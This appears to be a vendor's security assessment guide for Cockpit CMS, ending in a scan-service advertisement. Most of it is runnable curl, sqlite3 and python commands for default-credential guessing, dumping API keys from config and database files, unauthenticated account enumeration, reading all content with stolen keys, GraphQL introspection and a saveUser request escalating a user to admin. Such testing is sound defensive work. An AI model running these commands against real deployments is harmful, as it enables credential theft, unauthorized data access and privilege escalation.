Cockpit is a popular self-hosted headless CMS known for its simplicity and flexibility — developers use it to manage content for websites and applications. Key assessment areas: config/config.php exposes MongoDB connection strings or SQLite database paths; admin/admin is the common default credential; the REST API transmits API keys in cleartext query parameters; the /api/cockpit/accounts endpoint has historically returned all user data without authentication; and the GraphQL endpoint may be accessible without credentials. This guide covers systematic Cockpit CMS security assessment.
# Cockpit CMS — config.php database connection and credential extraction
COCKPIT_URL="https://cms.example.com"
# config/config.php — Cockpit main configuration
cat /var/www/cockpit/config/config.php 2>/dev/null
# Returns PHP array:
# 'database' => [
# 'server' => 'mongodb://localhost:27017', <-- MongoDB connection string
# 'dbname' => 'cockpitdb',
# ],
# OR for SQLite:
# 'database' => [
# 'server' => 'sqlite://path/to/db.sqlite'
# ]
# Check for MongoDB credentials in connection string
grep -E "mongodb://" /var/www/cockpit/config/config.php 2>/dev/null
# mongodb://user:password@localhost:27017/cockpit
# If credentials are present, extract them
# Test default admin credentials
for CRED in "admin:admin" "admin:password" "cockpit:cockpit"; do
USER=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
RESPONSE=$(curl -s -X POST "${COCKPIT_URL}/api/cockpit/authUser" \
-H "Content-Type: application/json" \
-d "{\"user\":\"${USER}\",\"password\":\"${PASS}\"}" 2>/dev/null)
echo "${USER}/${PASS}: $(echo $RESPONSE | python3 -c "import json,sys; d=json.load(sys.stdin); print('SUCCESS - token:', d.get('api_key','')[:20])" 2>/dev/null || echo "FAILED")"
done
# API keys stored in SQLite database
sqlite3 /var/www/cockpit/storage/db.sqlite 2>/dev/null \
"SELECT user, api_key FROM cockpit_accounts;" 2>/dev/null
# Cockpit CMS REST API — API key abuse and unauthenticated account enumeration
COCKPIT_URL="https://cms.example.com"
# Test unauthenticated access to accounts endpoint (critical vulnerability in older versions)
# CVE: Cockpit versions prior to 0.11.2 expose /api/cockpit/accounts without authentication
curl -s "${COCKPIT_URL}/api/cockpit/accounts" 2>/dev/null | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
if isinstance(d, list):
print(f'VULNERABLE: {len(d)} accounts exposed without authentication')
for acc in d[:5]:
print(f' User: {acc.get(\"user\")} | Email: {acc.get(\"email\")} | API key: {acc.get(\"api_key\",\"\")}')
elif 'error' in str(d):
print(f'Protected (error response)')
except: print('Parse error or not JSON')
" 2>/dev/null
# With extracted API key — access all collections
API_KEY="api-key-from-db-or-accounts-endpoint"
# List all collections
curl -s "${COCKPIT_URL}/api/collections/listCollections?token=${API_KEY}" 2>/dev/null | \
python3 -c "import json,sys; d=json.load(sys.stdin); [print(f' {c}') for c in d]" 2>/dev/null
# Read collection entries
curl -s "${COCKPIT_URL}/api/collections/get/posts?token=${API_KEY}" 2>/dev/null | head -5
# Access singleton data
curl -s "${COCKPIT_URL}/api/singletons/listSingletons?token=${API_KEY}" 2>/dev/null
# List all users via admin API key
curl -s "${COCKPIT_URL}/api/cockpit/accounts?token=${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
for acc in d:
print(f' {acc.get(\"user\")} | {acc.get(\"email\")} | role={acc.get(\"role\")} | key={acc.get(\"api_key\",\"\")[:20]}')
except: pass
" 2>/dev/null
# Cockpit CMS — GraphQL endpoint and privilege escalation assessment
COCKPIT_URL="https://cms.example.com"
# Test unauthenticated GraphQL access
curl -s -X POST "${COCKPIT_URL}/api/gql" \
-H "Content-Type: application/json" \
-d '{"query":"{__schema{types{name}}}"}' 2>/dev/null | \
python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
if 'data' in d:
types = [t['name'] for t in d['data']['__schema']['types'] if not t['name'].startswith('__')]
print('GraphQL accessible without auth!')
print(f'Types: {types[:10]}')
else:
print(f'Auth required: {d}')
except: pass
" 2>/dev/null
# GraphQL query for content (if accessible)
curl -s -X POST "${COCKPIT_URL}/api/gql" \
-H "Content-Type: application/json" \
-d '{"query":"{ find(collection:\"posts\") }"}' 2>/dev/null | head -5
# Privilege escalation via saveUser (older Cockpit versions)
# In some versions, an authenticated user can escalate to admin via /api/cockpit/saveUser
TOKEN="user-api-token"
curl -s -X POST "${COCKPIT_URL}/api/cockpit/saveUser" \
-H "Content-Type: application/json" \
-H "Cockpit-Token: ${TOKEN}" \
-d '{"user":{"_id":"current-user-id","role":"admin"}}' 2>/dev/null | head -3
# Check accessible storage directories for direct file access
for PATH_CHECK in "storage/tmp" "storage/cache" "storage/uploads"; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${COCKPIT_URL}/${PATH_CHECK}/" 2>/dev/null)
echo "/${PATH_CHECK}/: HTTP ${STATUS}"
done
| Security Test | Method | Risk |
|---|---|---|
| Unauthenticated /api/cockpit/accounts account enumeration | GET /api/cockpit/accounts — all user records including API keys and password hashes returned without authentication in pre-0.11.2 versions | Critical |
| config.php MongoDB/SQLite connection string extraction | Read config/config.php — database server URL with optional embedded credentials; SQLite path enabling direct file access | Critical |
| Admin credential brute-force (admin/admin) | POST /api/cockpit/authUser — admin API key extraction; full content management and user admin access | High |
| REST API key query parameter logging and reuse | API keys in URL query parameters (?token=KEY) appear in web server access logs — extract from logs for reuse | High |
| GraphQL unauthenticated content access and introspection | POST /api/gql — introspection reveals schema; content queries return all published and draft content without authentication | High |
Ironimo tests Cockpit CMS deployments for unauthenticated /api/cockpit/accounts account enumeration with API key extraction, config/config.php MongoDB/SQLite connection string disclosure, admin/admin credential brute-force, REST API key cleartext query parameter transmission and log extraction, GraphQL /api/gql unauthenticated access and introspection, storage/ directory web-accessible assessment, file upload PHP webshell upload testing, privilege escalation via /api/cockpit/saveUser role modification, and collection/singleton enumeration with extracted API keys.
Start free scan